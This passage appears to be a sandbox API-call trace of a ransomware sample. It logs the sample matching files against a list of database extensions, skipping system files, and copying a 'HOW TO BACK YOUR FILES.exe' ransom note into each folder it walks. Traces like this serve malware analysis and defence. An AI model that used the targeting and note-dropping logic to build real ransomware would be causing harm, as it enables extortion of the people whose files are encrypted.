	[0077.082] lstrlenW (lpString="sqlite3") returned 7
	[0077.082] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1
	[0077.082] lstrlenW (lpString="sqlitedb") returned 8
	[0077.082] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1
	[0077.082] lstrlenW (lpString="xml") returned 3
	[0077.082] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1
	[0077.082] lstrlenW (lpString="$er") returned 3
	[0077.082] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1
	[0077.082] lstrlenW (lpString="4dd") returned 3
	[0077.082] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1
	[0077.082] lstrlenW (lpString="4dl") returned 3
	[0077.082] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1
	[0077.082] lstrlenW (lpString="^^^") returned 3
	[0077.082] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1
	[0077.082] lstrlenW (lpString="abs") returned 3
	[0077.082] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1
	[0077.082] lstrlenW (lpString="abx") returned 3
	[0077.082] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1
	[0077.082] lstrlenW (lpString="accdb") returned 5
	[0077.082] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1
	[0077.082] lstrlenW (lpString="accdc") returned 5
	[0077.082] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1
	[0077.082] lstrlenW (lpString="accde") returned 5
	[0077.082] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1
	[0077.082] lstrlenW (lpString="accdr") returned 5
	[0077.082] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1
	[0077.082] lstrlenW (lpString="accdt") returned 5
	[0077.082] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1
	[0077.082] lstrlenW (lpString="accdw") returned 5
	[0077.083] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1
	[0077.083] lstrlenW (lpString="accft") returned 5
	[0077.083] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1
	[0077.083] lstrlenW (lpString="adb") returned 3
	[0077.083] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1
	[0077.083] lstrlenW (lpString="adb") returned 3
	[0077.083] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1
	[0077.083] lstrlenW (lpString="ade") returned 3
	[0077.083] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1
	[0077.083] lstrlenW (lpString="adf") returned 3
	[0077.083] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1
	[0077.083] lstrlenW (lpString="adn") returned 3
	[0077.083] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1
	[0077.083] lstrlenW (lpString="adp") returned 3
	[0077.083] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1
	[0077.083] lstrlenW (lpString="alf") returned 3
	[0077.083] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1
	[0077.083] lstrlenW (lpString="ask") returned 3
	[0077.083] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1
	[0077.083] lstrlenW (lpString="btr") returned 3
	[0077.083] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1
	[0077.083] lstrlenW (lpString="cat") returned 3
	[0077.083] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1
	[0077.083] lstrlenW (lpString="cdb") returned 3
	[0077.083] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1
	[0077.083] lstrlenW (lpString="ckp") returned 3
	[0077.083] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1
	[0077.083] lstrlenW (lpString="cma") returned 3
	[0077.083] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1
	[0077.083] lstrlenW (lpString="cpd") returned 3
	[0077.083] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1
	[0077.083] lstrlenW (lpString="dacpac") returned 6
	[0077.083] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1
	[0077.083] lstrlenW (lpString="dad") returned 3
	[0077.083] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1
	[0077.083] lstrlenW (lpString="dadiagrams") returned 10
	[0077.083] lstrcmpiW (lpString1="sx.dll.mui", lpString2="dadiagrams") returned 1
	[0077.083] lstrlenW (lpString="daschema") returned 8
	[0077.084] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1
	[0077.084] lstrlenW (lpString="db-journal") returned 10
	[0077.084] lstrcmpiW (lpString1="sx.dll.mui", lpString2="db-journal") returned 1
	[0077.084] lstrlenW (lpString="db-shm") returned 6
	[0077.084] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1
	[0077.084] lstrlenW (lpString="db-wal") returned 6
	[0077.084] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1
	[0077.084] lstrlenW (lpString="dbc") returned 3
	[0077.084] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1
	[0077.084] lstrlenW (lpString="dbs") returned 3
	[0077.084] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1
	[0077.084] lstrlenW (lpString="dbt") returned 3
	[0077.084] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1
	[0077.084] lstrlenW (lpString="dbv") returned 3
	[0077.084] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1
	[0077.084] lstrlenW (lpString="dbx") returned 3
	[0077.084] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1
	[0077.084] lstrlenW (lpString="dcb") returned 3
	[0077.084] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1
	[0077.084] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE"
	[0077.084] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5919c0 | out: hHeap=0x580000) returned 1
	[0077.084] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0077.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE") returned 56
	[0077.084] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE"
	[0077.084] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.084] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.088] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.088] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x46055dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46055dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.089] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.089] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.089] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.089] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x46055dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46055dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.089] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.089] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.089] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.089] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.089] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46055dd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x46055dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.089] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.089] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0077.089] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.089] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0077.089] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0077.089] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0077.089] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0077.089] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0077.089] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0077.089] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0077.089] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0077.089] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0077.089] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0077.089] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0077.089] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0077.089] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*") returned 58
	[0077.089] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0077.089] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.089] lstrlenW (lpString="Apollon865") returned 10
	[0077.089] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0077.089] lstrlenW (lpString=".dll") returned 4
	[0077.089] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".dll") returned 1
	[0077.089] lstrlenW (lpString=".lnk") returned 4
	[0077.089] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".lnk") returned 1
	[0077.090] lstrlenW (lpString=".ini") returned 4
	[0077.090] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".ini") returned 1
	[0077.090] lstrlenW (lpString=".sys") returned 4
	[0077.090] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".sys") returned 1
	[0077.090] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.090] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES"
	[0077.090] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591940 | out: hHeap=0x580000) returned 1
	[0077.090] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0077.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES") returned 56
	[0077.090] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES"
	[0077.090] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.090] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.094] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.094] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x46055dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46055dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.095] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.095] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.095] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.095] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x46055dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46055dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.095] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.095] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.095] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.095] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.095] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46055dd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x46055dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.095] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.095] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0077.095] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.095] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0077.095] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0077.095] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0077.095] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0077.095] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0077.095] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0077.095] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0077.095] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0077.095] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0077.095] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0077.095] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0077.095] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0077.095] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*") returned 58
	[0077.095] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0077.096] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.096] lstrlenW (lpString="Apollon865") returned 10
	[0077.096] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0077.096] lstrlenW (lpString=".dll") returned 4
	[0077.096] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".dll") returned 1
	[0077.096] lstrlenW (lpString=".lnk") returned 4
	[0077.096] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".lnk") returned 1
	[0077.096] lstrlenW (lpString=".ini") returned 4
	[0077.096] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".ini") returned 1
	[0077.096] lstrlenW (lpString=".sys") returned 4
	[0077.096] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".sys") returned 1
	[0077.096] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.096] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US"
	[0077.097] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5918c0 | out: hHeap=0x580000) returned 1
	[0077.097] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0077.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US") returned 56
	[0077.097] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US"
	[0077.097] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.097] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.102] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.102] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4607bf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4607bf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.102] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.102] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.102] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.102] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4607bf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4607bf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.102] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.103] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.103] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.103] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.103] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1
	[0077.103] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.103] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="Apollon865.txt.exe") returned 1
	[0077.103] lstrcmpiW (lpString1="boxed-correct.avi", lpString2=".") returned 1
	[0077.103] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="..") returned 1
	[0077.103] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="windows") returned -1
	[0077.103] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="bootmgr") returned 1
	[0077.103] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="temp") returned -1
	[0077.103] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="pagefile.sys") returned -1
	[0077.103] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="boot") returned 1
	[0077.103] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="ids.txt") returned -1
	[0077.103] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="ntuser.dat") returned -1
	[0077.103] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="perflogs") returned -1
	[0077.103] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="MSBuild") returned -1
	[0077.103] lstrlenW (lpString="boxed-correct.avi") returned 17
	[0077.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*") returned 58
	[0077.103] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="boxed-correct.avi" | out: lpString1="boxed-correct.avi") returned="boxed-correct.avi"
	[0077.103] lstrlenW (lpString="boxed-correct.avi") returned 17
	[0077.103] lstrlenW (lpString="Apollon865") returned 10
	[0077.103] lstrcmpiW (lpString1="orrect.avi", lpString2="Apollon865") returned 1
	[0077.103] lstrlenW (lpString=".dll") returned 4
	[0077.103] lstrcmpiW (lpString1="boxed-correct.avi", lpString2=".dll") returned 1
	[0077.103] lstrlenW (lpString=".lnk") returned 4
	[0077.103] lstrcmpiW (lpString1="boxed-correct.avi", lpString2=".lnk") returned 1
	[0077.103] lstrlenW (lpString=".ini") returned 4
	[0077.103] lstrcmpiW (lpString1="boxed-correct.avi", lpString2=".ini") returned 1
	[0077.103] lstrlenW (lpString=".sys") returned 4
	[0077.103] lstrcmpiW (lpString1="boxed-correct.avi", lpString2=".sys") returned 1
	[0077.103] lstrlenW (lpString="boxed-correct.avi") returned 17
	[0077.104] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="boxed-delete.avi" | out: lpString1="boxed-delete.avi") returned="boxed-delete.avi"
	[0077.104] lstrlenW (lpString="boxed-delete.avi") returned 16
	[0077.104] lstrlenW (lpString="Apollon865") returned 10
	[0077.104] lstrcmpiW (lpString1="delete.avi", lpString2="Apollon865") returned 1
	[0077.104] lstrlenW (lpString=".dll") returned 4
	[0077.104] lstrcmpiW (lpString1="boxed-delete.avi", lpString2=".dll") returned 1
	[0077.104] lstrlenW (lpString=".lnk") returned 4
	[0077.104] lstrcmpiW (lpString1="boxed-delete.avi", lpString2=".lnk") returned 1
	[0077.104] lstrlenW (lpString=".ini") returned 4
	[0077.104] lstrcmpiW (lpString1="boxed-delete.avi", lpString2=".ini") returned 1
	[0077.104] lstrlenW (lpString=".sys") returned 4
	[0077.104] lstrcmpiW (lpString1="boxed-delete.avi", lpString2=".sys") returned 1
	[0077.104] lstrlenW (lpString="boxed-delete.avi") returned 16
	[0077.104] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="boxed-join.avi" | out: lpString1="boxed-join.avi") returned="boxed-join.avi"
	[0077.104] lstrlenW (lpString="boxed-join.avi") returned 14
	[0077.104] lstrlenW (lpString="Apollon865") returned 10
	[0077.104] lstrcmpiW (lpString1="d-join.avi", lpString2="Apollon865") returned 1
	[0077.104] lstrlenW (lpString=".dll") returned 4
	[0077.104] lstrcmpiW (lpString1="boxed-join.avi", lpString2=".dll") returned 1
	[0077.104] lstrlenW (lpString=".lnk") returned 4
	[0077.104] lstrcmpiW (lpString1="boxed-join.avi", lpString2=".lnk") returned 1
	[0077.104] lstrlenW (lpString=".ini") returned 4
	[0077.104] lstrcmpiW (lpString1="boxed-join.avi", lpString2=".ini") returned 1
	[0077.104] lstrlenW (lpString=".sys") returned 4
	[0077.104] lstrcmpiW (lpString1="boxed-join.avi", lpString2=".sys") returned 1
	[0077.104] lstrlenW (lpString="boxed-join.avi") returned 14
	[0077.104] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="boxed-split.avi" | out: lpString1="boxed-split.avi") returned="boxed-split.avi"
	[0077.104] lstrlenW (lpString="boxed-split.avi") returned 15
	[0077.104] lstrlenW (lpString="Apollon865") returned 10
	[0077.104] lstrcmpiW (lpString1="-split.avi", lpString2="Apollon865") returned 1
	[0077.104] lstrlenW (lpString=".dll") returned 4
	[0077.105] lstrcmpiW (lpString1="boxed-split.avi", lpString2=".dll") returned 1
